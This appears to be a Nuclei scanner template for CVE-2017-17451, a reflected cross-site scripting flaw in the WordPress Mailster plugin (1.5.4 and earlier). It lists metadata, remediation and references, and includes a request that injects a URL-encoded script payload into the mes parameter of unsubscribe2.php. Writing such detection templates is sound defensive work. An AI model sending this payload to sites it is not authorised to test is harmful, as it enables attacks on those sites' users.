id: CVE-2017-17451 info: name: WordPress Mailster <=1.5.4 - Cross-Site Scripting author: daffainfo severity: medium description: WordPress Mailster 1.5.4 and before contains a cross-site scripting vulnerability in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions. remediation: | Update to the latest version of the WordPress Mailster plugin (>=1.5.5) which includes a fix for this vulnerability. reference: - https://wordpress.org/plugins/wp-mailster/#developers - https://packetstormsecurity.com/files/145222/WordPress-WP-Mailster-1.5.4.0-Cross-Site-Scripting.html - https://wpvulndb.com/vulnerabilities/8973 - https://nvd.nist.gov/vuln/detail/CVE-2017-17451 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-17451 cwe-id: CWE-79 epss-score: 0.00178 epss-percentile: 0.54962 cpe: cpe:2.3:a:wpmailster:wp_mailster:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: wpmailster product: "wp_mailster" framework: wordpress tags: cve,cve2017,wordpress,xss,wp-plugin,packetstorm,wpmailster flow: http(1) && http(2) http: - raw: - | GET /wp-content/plugins/wp-mailster/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: word internal: true words: - 'WP Mailster =' - method: GET path: - '{{BaseURL}}/wp-content/plugins/wp-mailster/view/subscription/unsubscribe2.php?mes=%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a0047304502204e068d0539ecee04f2481d70422e15a9e52dd17391199978553edbafcc5a2970022100e7b49d9fc769c172e283c3a4e07be4d9930e573a45111367e2166ae7b1ee308d:922c64590222798bb761d5b6d8e72950